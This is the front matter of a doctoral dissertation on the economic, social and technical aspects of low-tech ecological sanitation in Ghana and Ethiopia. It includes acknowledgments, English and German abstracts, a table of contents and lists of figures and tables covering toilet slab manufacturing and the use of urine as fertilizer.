QFileSystemModel model; QString const rootPath = "E:/file_test/very big"; QTableView view; view.setModel(&model); view.setRootIndex(model.setRootPath(rootPath)); QSplitter splitter; splitter.addWidget(&view); splitter.show(); return app.exec();
}
[/code]
Under the folder "very big" consist 8448 jpg, when I using a tool(Bulk rename utility)
to rename the jpg under "very big", the program will crash.
How could I stop the self updating function of QFileSystemModel?
Thanks
1 : I find out the QDirModel will not update until you call "refresh"
2 : even I do not setup the model for the view, rename the files will affect
the main thread(GUI) seriously.No wonder why even I rename the files
on another thread, the GUI still stall.
[code]
int main( int argc, char **argv )
{
QApplication app( argc, argv );
QFileSystemModel model; QString const rootPath = "E:/file_test/very big"; model.setRootPath(rootPath); QTableView view; //I haven't set any model for The view, but the program still //crash if I rename 8448 of my jpg files by other program QSplitter splitter; splitter.addWidget(&view); splitter.show(); return app.exec();
}
[/code]
There are still more than 1XX pages of the model/view architecture I have to studied(advanced Qt programming)
I hope I could know how to prevent the automatic "refresh" function of the QFileSystemModel after
I finish the chapter 4, 5, 6 in the book
QDirModel is not a good solution, but looks like it could solve my problem for now.
Never expect that customize the model/view of Qt4 could be so complicated(2XX pages to study)
Maybe a little bit difficult for a newbie like me?
The book is called Advanced Qt Programming. How did you figure that that is suitable for a beginner with Qt?
bq. The book is called Advanced Qt Programming. How did you figure that that is suitable for a beginner with Qt?
So it is not suitable for a beginner?But this book explain model/view much more detail than
"Foundation of Qt development", although "Foundation of Qt development" teach us how to
deal with table model/view but no tree model/view.
Whatever, when I use multithread to rename the files with QFileSystemModel,
the GUI still stall and the use of memory will keep raising(memory leak?),but QDirModel
would not have the situations like QFileSystemModel.
Is this a bug of QFileSystemModel?Or a normal behavior?
worker thread
[code]
#include <QtCore>
#include <QtGui>
class FileRenameRunnable: public QThread
{
Q_OBJECT
public :
FileRenameRunnable(QString const rootPath) : rootPath_(rootPath) { } virtual void run() { for(int i = 0; i != 8448; ++i) { QFile file(rootPath_ + "/kkk" + QString::number(i) + ".jpg"); file.rename(rootPath_ + "/jjj" + QString::number(i) + ".jpg"); emit valueChanged(i); } }
signals:
void valueChanged(int value);
private:
QString rootPath_;
};
[/code]
main thread
[code]
#include <QtCore>
#include <QtGui>
#include "fineNameRunnable.hpp"
int main(int argc, char **argv)
{
QApplication app( argc, argv );
QFileSystemModel model; QString const rootPath = "E:/file_test/very big"; QTableView view; view.setModel(&model); view.setRootIndex(model.setRootPath(rootPath)); QProgressBar progress; progress.setRange(0, 8447); //....select the data you want to rename from the view //let us assume I select 8000 of jpg files //don't know how to rename the file by QFileSystemModel, so I use QFile instead QDir::setCurrent(rootPath); FileRenameRunnable *myTask = new FileRenameRunnable(rootPath); app.connect(myTask, SIGNAL(finished()), myTask, SLOT(deleteLater())); app.connect(myTask, SIGNAL(valueChanged(int)), &progress, SLOT(setValue(int))); QSplitter splitter; splitter.addWidget(&view); splitter.addWidget(&progress); splitter.show();
//the program will stall even you run under another thread
//but QDirModel will not if you run under another thread
myTask->start();
qDebug() << "finish"; return app.exec();
}
[/code]
|
https://forum.qt.io/topic/18677/qfilesystemmodel-crash-when-rename
|
CC-MAIN-2018-05
|
en
|
refinedweb
|
Introductionfirst lesson in this series where we get all our prerequisites in order.
Let's Get Our Project SetupSo before we can actually start writing code, we'll need to get a Visual Studio project up and running. I'm expecting that by now, you already have Visual Studio open (if not please do so) and maybe you've already played around with it a bit. If you already understand how to setup a Win32 executable project in Visual Studio, please do so and then scroll down to the Project Settings sub-section.
Creating our ProjectWith Visual Studio open, click on File in the menubar. Then select New, Project.
Project SettingsAlright, now we have a working project. Before we go ahead and start coding, lets make some changes to the default settings for this project so that it better suits our needs. Solution Organization Before we get into the nitty-gritty settings, lets just make a small change to the organization of the Solution Explorer. You might notice that there are currently three file filters, Header Files, Resource Files, and Source Files (ignore External Dependencies for now). Different developers have different ways of organizing this project files. I've found that the most easy to use and organized way is to have each module of our game be located in a separate filter structure. So I took the project layout from this:
Time for Some CodingNow that you have a properly setup project running, we can start coding. The way we are going to build our game is extremely simple. Now take note that this isn't your standard, single-file tutorial, we will be creating more and more files as the series progresses (that's why it's really important to use an IDE so you can keep everything organized). So with that in mind, let's begin.
Framework DesignAlright, so I lied. We aren't going to start coding just yet (but very soon). Before we get coding, I want to make sure you understand how we are going to build our game. Our game is going to consist of multiple modules:
- Main: Not really a module, but it loads all the other modules and makes sure they are working properly.
- Input: The input module will handle all keyboard and mouse (and eventually other devices) inputs.
- Graphics: Probably the most interesting one for most of you, this will be a very lightweight wrapper around Direct3D 11.
- Sound: Loads and plays sounds through XAudio2.
- Game: The primary connection between the other modules and the Main module.
- Scene: A simple scene-graph that is designed to be easily expandable.
In order to keep this article reasonably short, the complete source code will not be posted here. Rather, I will provide links to the source files which will be hosted on GitHub. Any source code written in here is to highlight a notable peice of code. Also, comments will not be placed in the embedded code snippets (GitHub contains fully-commented code).
InputOk, so first we'll start with the input module. For now, we aren't going to add too much meat to the modules. This is going to be one of the easiest modules to work with. Right now, we are only going to have 3 methods:
InputModule(void); bool Initialize(void); void Shutdown(void);Header File Declaration Source File Definition
GraphicsNext up is the graphics module. We are going to do the same thing as what we did with the input module.
GraphicsModule(void); bool Initialize(void); void Shutdown(void);Header File Declaration Source File Definition
SoundOur sound module is going to follow the same pattern.
SoundModule(void); bool Initialize(void); void Shutdown(void);Header File Declaration Source File Definition
SceneFinally, our scene-graph module will be the last to follow the same pattern.
SceneModule(void); bool Initialize(void); void Shutdown(void);Header File Declaration Source File Definition
GameAlright, time for some real programming. First, let's include our different modules and the Win32 Api.
#define WIN32_LEAN_AND_MEAN #includeNow let's declare and define our methods, but let's do it a little differently this time.
#include "InputModule.h" #include "GraphicsModule.h" #include "SoundModule.h" #include "SceneModule.h"
GameModule(InputModule input, GraphicsModule graphics, SoundModule sound); void Initialize(HINSTANCE instance); void Shutdown(void); void Show(bool show); bool MainLoop(MSG *msg);Header File Declaration Source File Definition Now, let's add a few private module pointers.
InputModule *inputPtr; GraphicsModule *graphicsPtr; SoundModule *soundPtr; SceneModule *scenePtr; HWND window; WNDCLASSEX wndClass;Header File Declaration Lastly, let's make a couple global things:
static RECT windowSize = { 0, 0, 1280, 720 }; LRESULT CALLBACK WndProc(HWND wnd, UINT message, WPARAM wParam, LPARAM lParam);Header File Declaration Source File Definition
MainNow comes our final piece of code, the WinMain function.
int WINAPI WinMain(HINSTANCE instance, HINSTANCE prevInstance, LPSTR cmdLine, int cmdShow) { MSG msg; InputModule input = InputModule(); GraphicsModule graphics = GraphicsModule(); SoundModule sound = SoundModule(); SceneModule scene = SceneModule(); GameModule game = GameModule(input, graphics, sound, scene); game.Initialize(); game.Show(true); if (!game.MainLoop(&msg)) { game.Show(false); game.Shutdown(); return static_castSource File Definition
(msg.wParam); } return 0; }
CompilingYou should now be able to compile your code. And have a result that is similar to the following:
Project Source CodeIf you would like to take a look at the complete source code for this lesson, please visit the official source code repository for this tutorial series, hosted on GitHub. I will also upload the source code as an attachment to this article, but it will not be updated with any bug-fixes or post-publication edits.
Lesson TasksPlease perform the following actions to prepare yourself for the next tutorial:
- Change the code in GameModule::Initialize() to make one of the error message boxes show up (make sure to change it back once you are done to prepare for the next lesson).
|
https://www.gamedev.net/articles/programming/general-and-gameplay-programming/game-development-with-win32-and-directx-11-part-01-the-basic-framework-r3046
|
CC-MAIN-2018-05
|
en
|
refinedweb
|
* A <code>SetQueueThreshold</code> instance requests to set a given28 * threshold value as the threshold for a given queue.29 */30 public class SetQueueThreshold extends AdminRequest {31 private static final long serialVersionUID = -8457079858157139094L;32 33 /** Identifier of the queue the threshold is set for. */34 private String queueId;35 /** Threshold value. */36 private int threshold;37 38 /**39 * Constructs a <code>SetQueueThreshold</code> instance.40 *41 * @param queueId Identifier of the queue the threshold is set for. 42 * @param threshold Threshold value.43 */44 public SetQueueThreshold(String queueId, int threshold) {45 this.queueId = queueId;46 this.threshold = threshold;47 }48 49 50 /** Returns the identifier of the queue the threshold is set for. */51 public String getQueueId() {52 return queueId;53 }54 55 /** Returns the threshold value. */56 public int getThreshold() {57 return threshold;58 }59 }60
Java API By Example, From Geeks To Geeks. | Our Blog | Conditions of Use | About Us_ |
|
http://kickjava.com/src/org/objectweb/joram/shared/admin/SetQueueThreshold.java.htm
|
CC-MAIN-2018-05
|
en
|
refinedweb
|
System.Text Namespace
[ This article is for Windows Phone 8 developers. If you’re developing for Windows 10, see the latest documentation. ]
The System.Text namespace contains classes that represent Unicode character encodings; abstract base classes for converting blocks of characters to and from blocks of bytes; and a helper class that manipulates and formats String objects without creating intermediate instances of String. [bf6d9823-4c2d-48af-b280-919c5af66ae9] and the MSDN blog Shawn Steele's Thoughts about Windows and .NET Framework Globalization APIs.
|
https://msdn.microsoft.com/library/windows/apps/system.text(v=vs.105).aspx
|
CC-MAIN-2018-05
|
en
|
refinedweb
|
LOW-TECH SUSTAINABLE SANITATION OPTIONS FOR GHANA AND ETHIOPIA ECONOMIC, SOCIAL AND TECHNICAL ASPECTS
- Logan Wood
- 2 years ago
- Views:
Transcription
1 LOW-TECH SUSTAINABLE SANITATION OPTIONS FOR GHANA AND ETHIOPIA ECONOMIC, SOCIAL AND TECHNICAL ASPECTS Vom Promotionsausschuss der Technischen Universität Hamburg-Harburg zur Erlangung des akademischen Grades Doktorin der Wirtschafts- und Sozialwissenschaften (Dr. rer. pol.) genehmigte Dissertation von Aleksandra Drewko aus Gdańsk (Polen) 2013
2 Gutachter: Prof. Dr.-Ing. Ralf Otterpohl, Technische Universität Hamburg-Harburg Prof. Dr. habil. Matthias Meyer, Technische Universität Hamburg-Harburg Vorsitzender des Prüfungsausschusses: Prof. Dr.-Ing. Stephan Köster Tag der mündlichen Prüfung:
3 Sanitation is more important than political independence Mahatma Gandhi ( )
4 Herausgeber /Editor: Gesellschaft zur Förderung und Entwicklung der Umwelttechnologien an der Technischen Universität Hamburg-Harburg e.v. (GFEU) GFEU e.v. c/o Technische Universität Hamburg-Harburg (TUHH) Institut für Abwasserwirtschaft und Gewässerschutz Eissendorfer Str Hamburg Tel.: +49 (0) Fax: +49 (0) ISBN: Aleksandra Drewko Hamburger Berichte zur Siedlungswasserwirtschaft Band 83
5 Acknowledgments Firstly, I would like to express my sincere gratitude to my supervisor, Prof. Dr.-Ing. Ralf Otterpohl, whose help in designing the framework of my research, the decision to supervise it and support made my dissertation possible. I would also like to thank Prof. Dr. habil. Matthias Meyer for acting as the second supervisor of this thesis and Prof. Dr.-Ing. Stephan Köster in his capacity as the chairman of the examining board. I would also like to thank Kifle Gutema and Addis Ababa Lisanework from the project Ecological Sanitation Ethiopia in Addis Ababa, as well as Wudneh Ayele, Eoyb Esatu, Bogale Gelaye, Kinfe Kassa, Simon Shibru, Dr. Ababu Teklemariam and all the other members of the ROSA project team in Arba Minch. Thank you all for your kindness, hospitality and support in organizing my stays in Ethiopia and gathering information for my research. The support of Ann Rowland from Ferry Industries Inc., Ohio, USA is gratefully acknowledged. Thank you for your patience and support in getting to understand the rotational molding process and invaluable information that enabled me to design the manufacturing process of toilet slabs for this dissertation. Without the contributions of many people who provided me with useful information and knowledge at the time of working on this dissertation, I would not have been able to obtain the data used in this work. Therefore, I would like to acknowledge Gadisa Hailu and João Soares from AMREF Ethiopia, Siridhar Ganapathy, Mahlet Girma and Fara Esmail Waliji from Aquasantec in Ethiopia and Kenya, Asrat Tadesse from Catholic Church of Gamo Gofa and South Omo in Ethiopia, Bekele Abaire, Dr. Mayling Simpson-Hebert (now: Independent Senior Public Health Advisor), Chala Tolessa and Yonas Tsegaye from Catholic Relief Services in Ethiopia, Damte Data from the Deutsche Gesellschaft für Internationale Zusammenarbeit in Ethiopia, Dr. Annelies Balkema from the Eidhoven University of Technology in the Netherlands, Dr. Olufunke Cofie and Dr. Pay Drechsel from the International Water Management Institute in Ghana and Sri Lanka, Tsegaye Nigussie from ORBIS in Ethiopia, Shemeles Mekonnen from Oxfam in Ethiopia, Nebiyu Negesh and Missele Mikonen from Red Cross Ethiopia, Nuredin Asaro from the Regional Water Bureau in Awassa, Abeba Banjaw and Bekele Feseha from Refugee Trust International (now: Vita) in Ethiopia, Almaz Terrefe from SUDEA in Ethiopia, Adane Kassa from Water Action, Kuribachew Mamo from WaterAid Ethiopia, Baharu Chemisha from the woreda health office in Arba Minch, Andreas Knapp from the World Bank in Ethiopia (now: UNICEF, Nepal) and all other interviewees from Arba Minch in Ethiopia. The financial support of the International Postgraduate Studies in Water Technologies Program of the Federal Ministry of Education and Research in Germany is gratefully acknowledged. I would also like to thank my colleagues from the Institute of Wastewater Management and Water Protection at the Hamburg University of Technology, in particular colleagues that shared an office with me, including Nadine Appelhans, Dr. Izabela Banduch, Dr. Christopher Buzie, Alp Ergünsel, Horacio Factura, Mayrina Firdayati and Sarah Schreiner. I would also like to acknowledge Mathias Antholz, Dr. Joachim Behrendt, Dr. Öznur Brandt, Dr. Nathasith Chiarawatchai, Stefan Deegener, Susanne Eggers, Dr. Ulrike Gayh, Gabriela Espinoza Gutierrez, Dr. Holger Gulyas, Dr. Franziska Meinzinger, Wibke Scheurer, Dr. Felix Tettenborn, Andreas Wiebusch, Dr. Martina Winker and many others for contributing to the pleasant working
6 atmosphere at the institute. Gisela Becker and Eva Petersen, I would like to thank you for your generous support and kindness. The contribution of my students, who I supervised at the Hamburg University of Technology, is also acknowledged. In particular I would like to thank Ivan Martinez Neri. Special thanks go to Dr. Joachim Behrendt, Dr. Franziska Meinzinger, Anna Schabbauer, Maria Stenull and Dr. Martina Winker for proof-reading and helpful comments. I would also like to express my deepest gratitude to my mother, Dr. Jadwiga Mechlińska-Drewko, for her love and wholehearted support. I would also like to thank my family and friends who helped me in many ways throughout the course of this work. Last but not least, I would like to thank Manuel, for brainstorming with me, helping me to unwind and motivating me. Thank you for always being there for me. I would not have been able to do it without you.
7 i Abstract With declining soil fertility and increasing water scarcity worldwide, the need to return nutrients back into agriculture and conserve water is gaining in importance more and more. Thus, an alternative approach to sanitation, referred to as ecological sanitation (ecosan) or sustainable sanitation, which is focused on closed-loop management of excreta and saving of other resources such as water, is becoming an integral part of the resource efficiency concept. Despite the fact that sanitation is defined as a basic need and human right, many governments, in particular in developing countries, are facing financial challenges hindering the provision of basic services such as sanitation. Therefore, the private sector is becoming more and more involved in these services. This research was aimed at studying possible benefits of considering sanitation as a business. Therefore, the potential of the private sector involvement in sanitation was explored throughout the ecosan process chain, i.e. toilet manufacturing, urine collection, transportation, storage, marketing and application in agriculture. Ecosan was analyzed from a holistic system s perspective on the example of two case studies, one from Ethiopia and the other one from Ghana. In the case study Ethiopia, a business idea revolving around the production of plastic toilets slabs applicable under the ecosan approach was drafted. A thorough analysis of different parameters, including technical aspects (e.g., coloration methods, manufacturing process, product features, production volume, raw material choice), logistics aspects (e.g., headcount planning, plant location and size, procurement of supplies), financial aspects (e.g., cost minimization options, demand estimation, sales planning) and aspects related to competition (e.g., current toilet prices, existing players on the market, potential substitute products) was performed. Furthermore, in the case study Ghana, an economic analysis of building or modifying toilets for the separate collection of urine and feces, transportation of urine to its storage locations, urine storage and subsequently selling it to farmers to be applied as liquid fertilizer in agriculture was performed. For this analysis, the local sanitary situation and agricultural practices were taken into account. In this way, the whole process chain was analyzed, including toilet manufacturing, toilet construction, management of ecosan products and marketing urine for its application in agriculture. Based on the case studies analyzed, the following conclusions can be drawn: Production of plastic toilet slabs to be applied under the ecosan approach can be profitable in a country like Ethiopia as long as the demand for toilets is in place. It is, therefore, important for the manufacturing line to be designed in a flexible way, allowing for changes in production in case of failure or a decrease in demand for a particular product. Even though mass production results in lower operational costs, it requires a substantially higher investment, which may be difficult to secure in a country like Ethiopia. In the case of Ghana, the market value of human urine was calculated to be GH /l (0.008 /l). This value will generally change with global and local market prices of mineral fertilizers, the nutrient content of urine and the local demand for nutrients. The market value of urine is crucial for determining the profitability of urine transportation, which was identified as the highest cost in running of an ecosan system. In the case of a small to medium size ecosan system (7,000 l of urine collected daily), it would be economically feasible to
8 ii transport urine approximately 210 km (round trip). This distance will, however, depend on the local transportation costs (driver s salary, fuel price, the cost and lifespan of the truck and auxiliary equipment that influences depreciation costs, the type and cost of containers used for urine transportation and truck maintenance costs). The social acceptance for the application of human urine as fertilizer plays a critical role in marketing urine. Therefore, urine application options on non-food crops (e.g., oil palms for biodiesel and fast growing trees for fuel wood production) and food crops (e.g., maize plants) should be evaluated. Studying the local area for the design of a holistic ecosan system will allow exploring many options and coming up with the best arrangement for the local conditions. Designing projects that can interact with each other can help achieve savings on, e.g., transportation costs (truck can be used to collect and transport urine to its storage location and to transport other cargo on its return trip). Large scale implementation of ecosan systems will have a positive effect on the private sector involved in the manufacturing of toilets and the operation of systems due to, e.g., economies of scale, expertise as a result of experience and new skills and financial profits. It will also, however, benefit the users due to the product s and system s efficiency and possible lower costs, which correspond to lower prices. Also, the bigger the ecosan system, the larger the fertilization needs that can be satisfied. However, a utilization concept of ecosan products needs to be in place. Applying urine in agriculture can benefit farmers through a higher crop productivity, which would have a direct impact on farmers income, and could make them, even if only partially, independent of mineral fertilizer.
9 iii Kurzfassung Aufgrund der zurückgehenden Bodenfruchtbarkeit und der weltweit zunehmenden Wasserknappheit gewinnt die Notwendigkeit, dem Boden Nährstoffe zurückzuführen und gleichzeitig Wasser einzusparen immer mehr an Bedeutung. Aus diesem Grund entwickeln sich alternative Sanitärkonzepte (so genannte neuartige oder nachhaltige Sanitärsysteme), deren Schwerpunkt auf dem Kreislaufmanagement von Fäkalien und dabei auf der Schonung der Ressource Wasser liegt, zu einem festen Bestandteil des Ressourceneffizienzkonzeptes. Obwohl die Sanitärversorgung als Grundbedarf und als Menschenrecht anerkannt ist, stehen viele Regierungen, besonders in Schwellenländern, vor finanziellen Herausforderungen diese grundlegenden Dienstleistungen bereitzustellen. Ziel dieser Forschungsarbeit ist es, das Potenzial für die Beteiligung des Privatsektors an der Sanitärversorgung zu untersuchen. Das Potenzial des Engagements von Privatinvestoren im Sanitärsektor wurde entlang der gesamten Wertschöpfungskette der Neuartigen Sanitärsysteme untersucht, d.h. von der Toilettenherstellung über die Urinsammlung, den Transport, die Lagerung und Vermarktung bis hin zur Verwertung in der Landwirtschaft. Die Neuartigen Sanitärsysteme (NASS) wurden umfassend anhand von zwei Fallstudien (für Äthiopien und für Ghana) analysiert. Im Rahmen der Fallstudie Äthiopien wurde eine Geschäftsidee für die Herstellung der für NASS geeigneten Kunststofftoiletten erarbeitet. Eine umfassende Analyse verschiedener Parameter wie technischer Aspekte (u. a. Färbungsmethoden, Herstellungsprozess, Produktmerkmale, Produktionsmenge, Auswahlmöglichkeit der Rohstoffe), logistischer Aspekte (u. a. Personalbedarfsplanung, Fabrikstandort und -größe, Beschaffung von Betriebsstoffen), finanzieller Aspekte (u. a. Kostenminderungsoptionen, Nachfrageschätzung, Vertriebsplanung) und wettbewerblicher Aspekte (u. a. aktuelle Toilettenpreise, bestehende Akteure auf dem Markt, potenzielle Ersatzprodukte) wurde erstellt. Darüber hinaus wurde im Rahmen der Fallstudie Ghana eine ökonomische Analyse durchgeführt. Diese umfasste den Toilettenbau oder die Anpassung der bestehenden Toiletten, um eine separate Sammlung von Urin und Fäzes zu gewährleisten, ebenso den Urintransport zu seinem Lagerungsstandort, die Urinlagerung und eine spätere Vermarktung des Urins als Flüssigdünger zum Einsatz in der Landwirtschaft. Die lokale Situation hinsichtlich der Sanitärversorgung und des Potentials der landwirtschaftlichen Nutzung der Produkte wurde in diesem Fall speziell berücksichtigt. Auf diese Weise wurde die gesamte Wertschöpfungskette betrachtet. Basierend auf den durchgeführten Fallstudien können folgende Schlussfolgerungen gezogen werden: Die Herstellung der für NASS geeigneten Kunststofftoiletten kann in einem Land wie Äthiopien profitabel durchgeführt werden, solange eine ausreichende Nachfrage besteht. Aus diesem Grund sollte die Fertigungslinie flexibel konzipiert werden, um auch kurzfristig Anpassungen an den vorhandenen Markt zu erlauben. In der Fallstudie Ghana wurde ein Marktwert von Urin von GH /L (0.008 /L) berechnet. Dieser Wert wird sich generell mit globalen und lokalen Mineraldüngerpreisen, dem Nährstoffgehalt des Urins sowie der lokalen Nachfrage nach Nährstoffen ändern. Der Urinmarktwert ist entscheidend, um die
10 iv Profitabilität des Urintransports, den Faktor der als höchster Kostenträger im Betrieb von NASS ermittelt wurde, zu bewerten. Im Fall eines kleinen bis mittelgroßen Systems (7.000 L von Urin gesammelt am Tag) würde es sich lohnen, den Urin bis zu 210 km (Fahrtstrecke hin und zurück) zu transportieren. Diese Distanz ist jedoch von den lokalen Transportkosten abhängig (Fahrerlohn, Treibstoffpreis, Preis und Lebensdauer des Fahrzeugs sowie des Zubehörs, die die Amortisationskosten beeinflussen, Preis sowie Art der für den Urintransport ausgewählten Behälter und Fahrzeugwartungskosten). Die soziale Akzeptanz für die Verwertung von menschlichem Urin als Dünger spielt eine wichtige Rolle in der Vermarktung von Urin. Deswegen sollte die Urinverwertung für Nicht-Nahrungsmittel-Anbau (z.b. Ölpalmen für die Biodieselproduktion und schnell wachsende Bäume für die Energieholzproduktion) und Lebensmittelanbau (z.b. Maispflanzen) differenziert ausgewertet werden. Eine gebietsspezifische Analyse zur Integration eines umfassenden Neuartigen Sanitärsystems beinhaltet immer die Betrachtung verschiedener Optionen mit dem Ziel, die am besten für die lokalen Bedingungen geeignete Lösung herauszufiltern. Die Arrangierung von ineinander fassenden Projekten kann zu beträchtlichen finanziellen Einsparungen führen (z.b. Senkung der Transportkosten durch die Benutzung des Fahrzeugs auf dem Hinweg für den Urintransport und auf dem Rückweg für den Transport von anderen Gütern). Die Einführung der NASS in großem Maßstab wird sich positiv auf die Beteiligung des Privatsektors in der Toilettenherstellung und im Betrieb von NASS auswirken (z.b. Nutzung von Skaleneffekten, Expertise als Resultat der Erfahrung sowie neue Kenntnisse und finanzieller Gewinn). Sie wird aber auch die Nutzung und damit den Absatz durch die Produkt- und Dienstleistungseffizienz, sowie die potenziell geringeren Kosten und die günstigen Preise fördern. Zusätzlich kann mittels größerer NASS eine höhere Düngemittelproduktion erreicht werden. Mittels der Urinverwertung in der Landwirtschaft können Bauern eine höhere Ernteproduktivität erzielen, die einen direkten Einfluss auf das Einkommen hat und gleichzeitig zumindest teilweise unabhängig vom Mineraldünger wirtschaften lässt.
11 v Table of contents ABSTRACT... I KURZFASSUNG... III TABLE OF CONTENTS... V FIGURES... IX TABLES... XI ABBREVIATIONS AND SYMBOLS... XV 1 INTRODUCTION Objectives of the study Outline of the report INTRODUCTION TO PRIVATE SECTOR INVOLVEMENT IN SANITATION Ghana General information Sanitation coverage Agriculture Water and sanitation sector development Ethiopia General information Sanitation coverage Agriculture Water and sanitation sector development Selected global challenges Urbanization Growing food demand Depleting phosphorous resources Global sanitation challenge The opportunity for private sector involvement in sanitation Enabling environment for private sector involvement in sanitation Challenges for private sector involvement in sanitation General investment environment in Ghana and Ethiopia Private sector involvement in water supply vs. sanitation Examples of private sector involvement in sanitation... 31
12 vi Methods to address challenges for private sector involvement in sanitation CASE STUDY ETHIOPIA Technical outline for toilet manufacturing in Ethiopia Business idea Product description Process description Economic outline Various measures of cost Evaluation criteria for an investment Break-even analysis Financial statements Key financial indicators Competitors and prices Potential competitors Role of the company on the market Prices of toilets in Ethiopia Procurement and logistics Possible suppliers of equipment Possible suppliers of raw materials Selection of parameters for the manufacturing process Plant location Plant size Availability of manpower and infrastructure facilities Market and sales Production volume Unit prices Sales planning Breakdown of projected operating costs Examples of experience with ecological sanitation in Ethiopia Potential users of products Present sources of supply for products Substitute products Critical factors determining potential market Investment requirements, project financing and returns Start-up project costs... 88
13 vii Proposed financial structure of the business Projected financial plan Critical factors determining profitability Possibilities of cost decrease Government support and regulations Project in context of government economic development and investment program Specific government incentives and support available to the project Expected contribution of the project to the economic development Further discussion CASE STUDY GHANA Technical outline for closed-loop nutrient management in Ghana Value-to-volume ratio of urine Urine diverting sanitation facilities in Ghana Storage of urine Transportation of urine Biodiesel Fast growing trees for fuel wood Case study Accra Introduction to Accra Project Accra Project Accra Comparison of Accra 1 and Accra Case study Kade Introduction to Kade Project Kade Interaction of projects Accra 1, Accra 2 and Kade Further discussion PROMOTION OF ECOSAN Promotion strategies Social marketing Media Participatory methods Slogan and logo Market stand
14 viii Demonstration facilities Right message Potential campaign partners Promotion of ecosan in Ethiopia Sanitation culture in Ethiopia Sanitation promotion through media in Ethiopia Possible campaign partners in Ethiopia Promotion of ecosan in Ghana Sanitation culture in Ghana Sanitation promotion through media in Ghana Possible campaign partners in Ghana Example of a sanitation promotion campaign CONCLUSIONS REFERENCES APPENDICES
15 ix Figures Figure 2.1: Urban, rural and total sanitation coverage in 1990, 2000 and 2008 in Ghana (based on WHO and UNICEF, 2010)... 6 Figure 2.2: Figure 2.3: Fertilizer imports in Ghana, (in tons) (based on Ministry of Food and Agriculture, 2010)... 8 Important dates in the water and sanitation sector in Ghana (based on MWRWH, 2009 and WSP, 2011b) Figure 2.4: Urban, rural and total sanitation coverage in 1990, 2000 and 2008 in Ethiopia (based on WHO and UNICEF, 2010) Figure 2.5: Figure 2.6: Figure 2.7: Figure 2.8: Fertilizer imports in Ethiopia, (in tons) (based on FAO, 2011a) Important dates in the water and sanitation sector in Ethiopia (compiled from MoH, 2005; MoFED, 2006; MoH, 2006; MoWR, 2006; MoWR et al., 2006; Sengogo, 2009; WSP, 2011a) Global soil degradation (UNEP/GRID-Arendal Maps and Graphics Library, 2002) Sanitation progress towards the MDG target, 2008 (WHO and UNICEF, 2010) Figure 3.1: Urine diverting sitting slab Figure 3.2: Urine diverting squatting slab Figure 3.3: Arborloo with a cement slab Figure 3.4: Fossa Alterna (Photo: P. Morgan) Figure 3.5: Urine diverting sitting slab scheme Figure 3.6: Urine diverting squatting slab scheme Figure 3.7: Arborloo slab scheme Figure 3.8: Fossa Alterna slab scheme Figure 3.9: Principle of rotational molding (Crawford and Throne, 2002) Figure 3.10: Stages in the grinding of powders for rotational molding (redrawn from McDaid, 1998) Figure 3.11: Independent-arm rotational molding machine general arrangement (courtesy of FERRY INDUSTRIES, INC., Stow, Ohio, USA) Figure 3.12: Shuttle rotational molding machine (Crawford and Throne, 2002) Figure 3.13: Cost comparison of using LLDPE with compounded color and dry pigment Figure 3.14: Location of Arba Minch, Ethiopia (based on Google Maps) Figure 3.15: Fixed costs for Scenario Figure 3.16: Fixed costs for Scenario Figure 3.17: Variable costs for Scenario Figure 3.18: Variable costs for Scenario
16 x Figure 3.19: Comparison of LPG costs for Machine 1 and Machine Figure 3.20: Start-up costs for Scenario 1 and Scenario Figure 3.21: Break-even point for Scenario Figure 3.22: Break-even point for Scenario Figure 3.23: Net Profit Margin vs. decreasing revenues for Scenario Figure 3.24: Net Profit Margin vs. decreasing revenues for Scenario Figure 3.25: Net Profit Margin vs. increasing prices of raw material for Scenario Figure 3.26: Net Profit Margin vs. increasing prices of raw material for Scenario Figure 3.27: Influence of government incentives on the Net Profit Margin of the project for Scenario Figure 4.1: Figure 4.2: Side view of the proposed urine diverting dry toilet complex (measures in meters) (Martinez Neri, 2009) UDDT complex at the Valley View University in Ghana (Berger, 2010) Figure 4.3: General supply scheme for case studies in Ghana Figure 4.4: Figure 4.5: Value of nutrients in 7,000 l of urine vs. urine transportation and storage costs Possible truck arrangement for the trip Nsawam-Accra (adapted from Martinez Neri, 2009) Figure 4.6: Supply chain: Kade-Nsawam-Accra Figure 4.7: Supply chain: Kade-Kwaebibirem District Figure 5.1: Languages spoken in Arba Minch (based on AMU and ARB, 2007) Figure 5.2: Religion in Arba Minch (based on CSA, 2007) Figure 5.3: Adult literacy rates in English and Ghanaian languages by gender in Accra (based on Ghana Statistical Service, 2008b) Figure 5.4: Religion in Accra (based on Ghana Statistical Service, 2008b)
17 xi Tables Table 2.1: Summary of background information about Ghana (UN, 2011a; UNDP, 2011a; World Bank, 2011a)... 5 Table 2.2: Summary of background information about Ethiopia (World Bank, 2011a; UN, 2011a; UNDP, 2011a) Table 3.1: Dimensions of manufactured products Table 3.2: Table 3.3: Comparison of injection and rotational molding (based on Crawford and Kearns, 2003) Comparison of methods for plastics coloring (adapted from Crawford and Throne, 2002; Müller, 2003) Table 3.4: Profit and loss statement (Handelsgesetzbuch, 2003) Table 3.5: Cash flow statement Table 3.6: Prices of toilets in Ethiopia Table 3.7: Possible suppliers of equipment Table 3.8: LLDPE market prices including shipment to Addis Ababa Table 3.9: Calculated part weight for manufactured products Table 3.10: Calculated costs of raw material (LLDPE) for manufactured products Table 3.11: Estimated production volumes for Machine 1 and Machine Table 3.12: Assumed variables for calculating estimated production volumes of Machine 1 and Machine Table 3.13: Unit costs per product for Scenario 1, year Table 3.14: Unit costs per product for Scenario 2, year Table 3.15: Unit prices of manufactured products Table 3.16: Projected sales planning for production with Machine Table 3.17: Projected sales planning for production with Machine Table 3.18: Table 3.19: Electricity consumption and related costs for Scenario 1 and Scenario Implementation status of sanitation systems in Arba Minch, Ethiopia Table 3.20: Number of households a by type of toilet facility in the SNNP Region, Arba Minch and Awassa (adapted from CSA, 2007) Table 3.21: Projected demand coverage for Scenario Table 3.22: Projected demand coverage for Scenario Table 3.23: Primary and annual lease payments for Scenario 1 and Table 3.24: Construction costs for Scenario 1 and Table 3.25: Type and cost of installed plant equipment for Scenario 1 and Scenario
